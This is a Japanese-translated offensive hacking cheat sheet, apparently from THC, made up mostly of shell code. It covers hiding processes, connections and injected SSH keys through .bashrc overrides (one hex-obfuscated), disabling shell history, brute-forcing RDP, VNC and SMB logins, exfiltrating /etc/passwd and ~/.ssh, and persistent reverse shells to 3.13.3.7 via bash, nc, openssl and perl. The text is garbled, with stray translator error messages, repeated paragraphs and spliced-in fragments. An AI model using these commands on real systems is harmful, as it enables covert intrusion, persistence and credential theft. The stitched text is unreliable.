代替 URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShellはもっと多くのことを行いますが、最も重要なのは次のとおりです：```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

ボーナスヒント：
「 」（スペース）で始まるコマンドも、[履歴に記録されません](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)。```
$  id

バックグラウンドで '/usr/sbin/sshd' として隠された 'nmap' を起動します:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

あるいは、バイナリを新しい名前にコピーしてください:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. コマンドラインオプションを隠す**

[zapper](https://github.com/hackerschoice/zapper) を使用します:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. ネットワーク接続を隠す**

このトリックは、`netstat` を乗っ取り、grep を使って自分の接続を除外するというものです。この例では、ポート 31337 _または_ IP 1.2.3.4 への接続をすべてフィルタリングします。同様のことを、`ss`（netstat の代替）でも行う必要があります。

**方法 1 - ~/.bashrc 内の bash 関数で接続を隠す**

これをカット＆ペーストして、~/.bashrc に行を追加します。```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

難読化された ~/.bashrc へのエントリは次のようになります:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(iamaskid さん、ありがとう)*

<a id="hide-a-process-user"></a>
**1.v. ユーザーとしてプロセスを隠す**

「接続を隠す」からの続きとして、同じ手法でプロセスを隠すことができます。この例では、nmap プロセスを隠し、さらに `grep` を GREP にリネームすることで、プロセス一覧に `grep` が表示されないようにしています。```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

コマンドを非表示にするには、次のように使用します:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(`lsof`、`ss`、`ls` でも同様に機能します)

<a id="cat"></a>
**1.viii. catから隠す**

ANSIエスケープ文字または単純な`\r`（[キャリッジリターン](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)）を使用して、`cat`などから隠すことができます。

`~/.bashrc` に最後のコマンド（例: `id`）を隠します：```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

`\r`(キャリッジリターン)を追加すると、`cat` から SSH キーを隠すのに大いに役立ちます:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` は、基盤となるシェルを最後のプロセス (nmap) に置き換えるために使用されます。これは任意ですが、実行中/不要なシェルバイナリの数を減らします。
- `${SLOT}` には 0..19 の値が格納されます。これは「タスク番号」です。nmap の結果を 20 個の別々のファイルに書き込むために使用します。

40 個のワーカーを使用して、すべての [gsocket](https://www.gsocket.io/deploy) ホストで [Linpeas](https://github.com/carlospolop/PEASS-ng) を実行します:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

PTYとカラーで完全な快適さを実現: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

上記と同じ（単一の）Master-TCP 接続を使用して、さらにシェルセッションを作成します（パスワード/認証は不要）：```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

これで、あなたや他の誰でも、自分のコンピュータのポート31337に接続し、1.2.3.4のポート80にトンネリングされ、送信元IPが 'server.org' として表示されるようになります。サーバーを必要としない別の方法としては、[gs-netcat](#backdoor-network) を使用する方法もあります。

賢いハッカーは、SSHに再接続することなくこれらのトンネルを動的に作成するために、キーの組み合わせ `~C` を使用します。（MessedeDegodに感謝）。

私たちはこれを使用して、パブリックインターネット上にない内部マシンへのアクセスを友人に提供します:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

次に、ブラウザーがSOCKSを127.0.0.1:1080で使用するように設定します。すべてのトラフィックは*server.org*を経由してトンネリングされ、送信元IPが*server.org*のものとして表示されます。サーバーを必要としない代替手段としては、[gs-netcat](#backdoor-network)を使用する方法があります。

これは上記の例の逆です。これにより、他のユーザーがあなたの*ローカル*ネットワークにアクセスできるようになるか、他のユーザーがあなたのコンピューターをトンネルのエンドポイントとして使用できるようになります。```sh
ssh -g -R 1080 [email protected]

次に、世界中のどこからでもこのコマンドを使用して、'root' として 'foobarblahblub' (NAT の背後にあるホスト) に接続します:```sh
ssh -J [email protected] root@foobarblahblub

> 私たちは信頼するワークステーション以外のどのコンピュータでも `ssh` を実行しません - そしてあなたも（決して）実行しないでください。

そこで ProxyJump が役立ちます: 私たちは2つの中間サーバー $C2 と $internal-jumphost を経由して「ジャンプ」できます（それらのサーバー上でシェルを起動することなく）。ssh 接続は私たちの $local-kali と $target-host の間でエンドツーエンドに暗号化され、$C2 や $internal-jumphost にパスワードや鍵が公開されることはありません。```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

Please provide the Markdown content to translate.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

- [Auto-Elevate](#auto-elevate)
  - [概要](#overview)
  - [対応する権限昇格ベクトル](#supported-privilege-escalation-vectors)
  - [使用方法](#usage)
  - [謝辞](#acknowledgments)
- [貢献](#contributing)
- [ライセンス](#license)```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

[bore.pub](https://github.com/ekzhang/bore) (無料) を使用:```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

[pinggy.io](https://www.pinggy.io) を使用（60分間無料）：```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

どちらのサービスでも、使用するための新しい一時的なHTTPS-URLが生成されます。  

次に、両端で[websocat](https://github.com/vi/websocat)または[Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service)を使用して、HTTPS URL経由で生のTCPをトンネリングします:

A. HTTPS経由のシンプルなSTDIN/STDOUTパイプ:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

ポート2222をサーバーのポート22に転送します。```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

詳細: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) と [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) と [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c iptablesでトラフィックをバウンスする**

ユーザーランドのプロキシやフォワーダーを実行せずに、ホスト/ルーターを介してバウンスする:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

ファイアウォールで保護されたネットワークの奥深くから gsocket-relay-network（または TOR）に到達するために、このトリックを使用します。```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

これは以下と組み合わせても機能します:
 * [SegfaultのROOTサーバー](https://thc.org/segfault/wireguard): ROOTサーバーをターゲットネットワークに接続し、ターゲットネットワーク内でゴーストIPを使用します。
 * [QEMUトンネル](https://securelist.com/network-tunneling-with-qemu/111803/): 上記と同様ですが、安全性は低くなります。

---
<a id="tunnel-more"></a>
**3.vi.d さまざまなトンネルのトリック**

### CDN経由のトンネル
 * [CloudFlare経由で任意のTCPサービスをトンネリングする方法](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) を読むか、[DarkFlare](https://github.com/doxx/darkflare) を使用します。

### ホストをリモートネットワークに直接接続する
 * [WireTap](https://github.com/sandialabs/wiretap) - ユーザーまたはrootとして動作します。トランスポートとしてUDPを使用します。（segfault上で[試す](https://thc.org/segfault/wireguard)。）
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - トランスポートとしてTCPを使用します。[cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) または gs-netcat 経由でうまく動作します。

### SSHをCloudflare経由の安価なリバースプロキシとして使用する

この方法は[HTTPSリバーストンネル](#https)に似ていますが、Gostやwebsocatの代わりにSSHを使用します。
- 利点: ターゲット上では*cloudflared*と*SSH*だけを使用します。
- 欠点: CFサブスクリプションが必要です。

 1. CFダッシュボード -> Zero Trust -> Networks -> Tunnels に移動します。
 2. 任意の名前の'Cloudflared'トンネルを新規作成します。
 3. Debian & 64-bit を選択します。トークンは完全には表示されません。グレーアウトされた領域を別のドキュメントにコピーして、トークン全体（`sudo cloudflared service install <TunnelTokenHere>` の後の長い16進文字列）を表示し、「Token」を抽出します。
 4. サブドメインを追加します（例では `ssh.team-teso.net` を使用します）。
 5. Type=TCP URL=localhost:22 に設定します。```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

The input chunk is empty — there is no content to translate. Please provide the actual chunk text.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

作業ステーション上で:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### GrafTCPの使用:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

任意のIPアドレスの地理位置情報を取得:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

TORが動作しているか確認してください：```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. IP上の開いているポートの確認/スキャン**

[Censys](https://search.censys.io/) または [Shodan](https://internetdb.shodan.io) ポート検索サービス:```shell
curl https://internetdb.shodan.io/1.1.1.1

開いているTCPポートのスキャン：```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. パスワードハッシュをクラックする**

 1. [NTLM2password](https://ntlm.pw/) で NTLM パスワードをクラック（ルックアップ）する
 2. [wpa-sec](https://wpa-sec.stanev.org) で WPA PSK パスワードをクラック（ルックアップ）する

HashCat は、それ以外すべての用途で使う定番ツールです。```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

OpenSSH の `known_hosts` ハッシュをクラックして IP アドレスを明らかにする：```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(独自の [EXITノード](https://www.thc.org/segfault/wireguard) を使用するとよいでしょう)

ツール:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [ドキュメント](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - 対象IPレンジのすべてのSSHキーを試すのに最適。

ユーザー名 & パスワードリスト:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THCのお気に入り<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


**U**sername/**P**asswordリストと**T**argetホストを設定します。```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

有用な **Ncrack** パラメータ:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

| **カテゴリー** | **ツール名** | **説明** |
|--------------|----------------|-----------------|
| 情報収集 | [Amass](https://github.com/OWASP/Amass) | 詳細なアタックサーフェスマッピングと資産発見 |
| 情報収集 | [Subfinder](https://github.com/projectdiscovery/subfinder) | パッシブサブドメイン発見ツール |
| 情報収集 | [Masscan](https://github.com/robertdavidgraham/masscan) | TCPポートスキャナー、非同期にSYNパケットを送信 |
| 情報収集 | [RustScan](https://github.com/RustScan/RustScan) | モダンポートスキャナー |
| 情報収集 | [Naabu](https://github.com/projectdiscovery/naabu) | 信頼性とシンプルさに焦点を当てたGo製の高速ポートスキャナー |
| 情報収集 | [HTTPX](https://github.com/projectdiscovery/httpx) | 高速で多目的なHTTPツールキット |
| 情報収集 | [Shuffledns](https://github.com/projectdiscovery/shuffledns) | 有効なリゾルバを備えたmassdnsのラッパー |
| 情報収集 | [Gau](https://github.com/lc/gau) | AlienVault Open Threat Exchange、Wayback Machine、Common Crawlから既知のURLを取得 |
| ... | ... | ... |```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

翻訳対象のMarkdownコンテンツが提供されていません。```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

The input chunk is empty — no content was provided to translate. Please supply the actual chunk text.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

入力:```shell
## SMB (windows)
nmap --script smb-brute "$T"

エラー: 入力コンテンツが提供されていません。翻訳するテキストが含まれていないため、処理できません。```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

Please provide the markdown content to translate.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

#### >>> UUエンコード/デコード```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. ファイル転送 - *tmux* を使用

ワークステーションで `tmux` を起動します。任意の方法 (ssh、gs-netcat、...) でターゲットに接続します。

#### リモートからローカルへ (ダウンロード)

[Tmux-Logging](#tmux) を使用して、ターゲットからターミナル経由でワークステーションに大きなファイルをダウンロードします。

#### ローカルからリモートへ (アップロード)

リモートでお好みのデコードツール (base64) を起動します:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. ファイル転送 - *screen* を使用

#### リモートからローカルへ（ダウンロード）

ローカルコンピュータで *screen* を実行し、そのシェル内からリモートシステムにログインします。ローカルの screen にすべての出力を screen-xfer.txt に記録するように指示します：

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

ここでは *openssl* を使用してデータをエンコードしますが、上記のいずれのエンコード方法でも機能します。このコマンドは base64 でエンコードされたデータをターミナルに表示し、*screen* はこのデータを *screen-xfer.txt* に書き込みます：```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### LOCALからREMOTEへ（アップロード）

ローカルシステム上でデータをエンコードしてください：```sh
openssl base64 </etc/issue.net >screen-xfer.txt

*screen* に base64 エンコードされたデータを読み込ませて、クリップボードからリモートシステムにデータを貼り付けます:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

注: [opensslのバグ](https://github.com/openssl/openssl/issues/9355)により、CTRL-d が2回必要です。

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. ファイル転送 - gs-netcatとsftpを使用

[gs-netcat](https://github.com/hackerschoice/gsocket)を使用し、その中にsftpプロトコルをカプセル化します。NAT/ファイアウォールの背後にあるホストへのアクセスを可能にします。```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

または単一ファイルをDUMPするには:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

受信側: 任意のブラウザからURLにアクセスして、リモートファイルシステムを表示/ダウンロードします。

#### 1 - PHPを使用したアップロード:

受信側で:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - PYTHONを使ったアップロード:

受信側:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. curlを使用しないファイルのダウンロード

Pythonを使用して、以下のみダウンロードします：```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

OpenSSLを使用して、以下のみをダウンロードします：```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

bashを使用して、以下のみをダウンロード：```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

次に、ファイルまたはディレクトリをアップロードします：```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

送信者:```posh
rsync -av warez rsync://1.2.3.4:31337/up

送信者:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

別のサーバー上で:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

または、WebDAV共有をWindows（Z:/）にマウントします：```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

- 分析レポート: [エンコーダロジックの解析 - 様々なマルウェアにおける既知の回避テクニックの考察](https://0x0060.dev/breaking-encoder-logic/)```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

接続後、シェルを完全にインタラクティブなPTYシェルに[アップグレード](#reverse-shell-interactive)してください。あるいは、netcat の代わりに [pwncat-cs](https://pwncat.org/) を使用してください:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

Alternatively, on the remote system, put this into the `~/.profile` or crontab to re-start the connect-back shell (and also stops multiple instances from being started):

Alternatively, on the remote system, put this into the `~/.profile` or crontab to re-start the connect-back shell (and also stops multiple instances from being started):

あるいは、リモートシステム上で、これを `~/.profile` または crontab に入れて、コネクトバックシェルを再起動します（また、複数のインスタンスが起動されるのを防ぎます）：```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

脅威エミュレーションとレッドチーミングフレームワーク、Earth Krahang Exploit

[![getest](https://github.com/user-attachments/assets/5e74343e-3317-4e7a-ab42-e9c06c50cf27)](https://github.com/user-attachments/assets/5e74343e-3317-4e7a-ab42-e9c06c50cf27)```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

Variant if *'-e'* is not supported:
→
*-e'* がサポートされていない場合のバリアント:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Telnet バリアント:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

注: ログイン後は `rm /tmp/.fio` を忘れないでください。



<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe と ssh を使ったリバースシェル (暗号化)**

raw TCP (例: bash リバースシェル) を [remote.moe](https://remote.moe) 経由でトンネリングすることが可能です:

作業用ワークステーションで:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

ターゲット上で（代替手段；ssh、bash、mkfifo が必要）:```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Perl を使用したリバースシェル**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

